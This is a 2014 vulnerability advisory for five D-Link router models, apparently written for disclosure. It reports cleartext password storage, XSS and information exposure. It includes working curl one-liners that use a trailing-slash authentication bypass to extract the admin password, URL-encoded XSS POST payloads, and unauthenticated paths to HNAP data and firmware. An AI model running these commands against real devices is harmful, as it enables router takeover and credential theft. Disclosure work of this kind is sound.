D-Link Routers - Multiple Vulnerabilities

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The following five D-Link model routers suffer from several

vulnerabilities including Clear Text Storage of Passwords, Cross Site

Scripting and Sensitive Information Disclosure.

 

DIR-652

D-Link  Wireless N Gigabit Home Router

 

DIR-835

D-Link Network DIR-835L Wireless N 750M Dual-band 802.11n 4Port Gigabit Router

 

DIR-855L -

D-Link Wireless N900 Dual Band Gigabit Router

 

DGL-5500

D-Link AC1300 Gaming Router

 

DHP-1565

D-Link Wireless N PowerLine Gigabit Router

 

Affected firmware - FW 1.02b18/1.12b02 or older

 

Access - Remote

Complexity - Low

Authentication - None

Impact - Full loss of confidentiality

 

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Clear Text Password - CWE - CWE-316: Cleartext Storage of Sensitive Information

 

Authentication can be bypassed to gain access to the file

tools_admin.asp, which stores the devices admin password in plain

text, by adding a "/" to the end of the URL.

 

Proof of Concept for the DGL-5500, DIR-855L and the DIR-835:

 

curl -s http://<IP>/tools_admin.asp/ |awk '/hidden/ &&

/admin_password_tmp/ && /value/ {print $5}'

 

PoC for the DHP-1565 and DIR-652, the generic 'user' must be added.

 

curl -s http://<IP>/tools_admin.asp/ -u user:|awk '/hidden/ &&

/admin_password_tmp/ && /value/ {print $5}'

 

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Cross Site Scripting - CWE - CWE-79: Improper Neutralization of User

Input / Return

 

For the file "apply.cgi" ("apply_sec.cgi" on the DGL-5500) the POST

param "action" suffers from a XSS vulnerability due to improper

neutralization of user input / return output.

 

PoC for DIR-855L, DIR-835, DHP-1565

 

http://<IP>/apply.cgi

 

POST

graph_code=X&session_id=123456&login_n=user&login_name=8&action=%3Cbody%3E%3Chtml%3E%3Ch2%3E%3CEMBED%20src%3D%22%3Ctd%20dir%3D%22rtl%22class%3D%22skytext%22width%3D%2277%25%22%3E%3Cmarquee%20%20%20scrollAmount%3D5%20scrollDelay%3D10%20direction%3D%22right%22style%3D%22color%3Ared%3Bfont-weight%3Abold%3B%22%3ESquirrel%20Injection%22%3C%2fh2%3E%3C%2fmarquee%3E%20%3C%2fbody%3E%3C%2fhtml%3E%3C%2ftd%3E%3E&log_pass=&html_response_page=login_pic.asp&tmp_log_pass=&gcode_base64=MTg0MzU%3D

HTTP/1.1

 

For the DGL-5500

 

http://<IP>/apply_sec.cgi

 

POST

graph_code=X&session_id=123456&login_n=user&login_name=8&action=%3Cbody%3E%3Chtml%3E%3Ch2%3E%3CEMBED%20src%3D%22%3Ctd%20dir%3D%22rtl%22class%3D%22skytext%22width%3D%2277%25%22%3E%3Cmarquee%20%20%20scrollAmount%3D5%20scrollDelay%3D10%20direction%3D%22right%22style%3D%22color%3Ared%3Bfont-weight%3Abold%3B%22%3ESquirrel%20Injection%22%3C%2fh2%3E%3C%2fmarquee%3E%20%3C%2fbody%3E%3C%2fhtml%3E%3C%2ftd%3E%3E&log_pass=&html_response_page=login_pic.asp&tmp_log_pass=&gcode_base64=MTg0MzU%3D

HTTP/1.1

 

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Sensitive Information Disclosure - CWE - CWE-200: Information Exposure

 

The D-Link models DGL-5500, DIR-855L, DIR-835 suffer from a

vulnerability which an unauthenticated person can gain access the

sensitive files:

 

http://<IP>:8080/hnap.cgi and /HNAP1/ via:

 

curl -s curl -s http://<IP>:8080/HNAP1/

 

On the DIR-652  and DHP-1565, a user needs authentication first to

gain access to these files.

 

But more importantly, an unauthenticated user can browse directly to

http://<IP>/cgi/ssi/ which will offer a download of the device's ELF

MBS MIPS file. The file contains most of the devices internal working

structure and sensitive information. These particular routers use  a

MSB EM_MIPS Processor and it does contain executable components.

 

The file can be accessed through at least one known cgi file, however

there maybe others. Although no known publicly working example exist

to my knowledge, unpatched devices are susceptible to injection of

malicious code and most likely susceptible to a payload which could

deploy a self-replicating worm.

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These items were reported to D-Link on April 20th, and to US Cert on

April 21. D-Link does have patches available for all affected models,

and it is highly recommended to update the device's firmware as soon

as possible.

 

Vendor Links:

http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10025

http://securityadvisories.dlink.com/security/

 

Research Contact - Kyle Lovett

May 21, 2014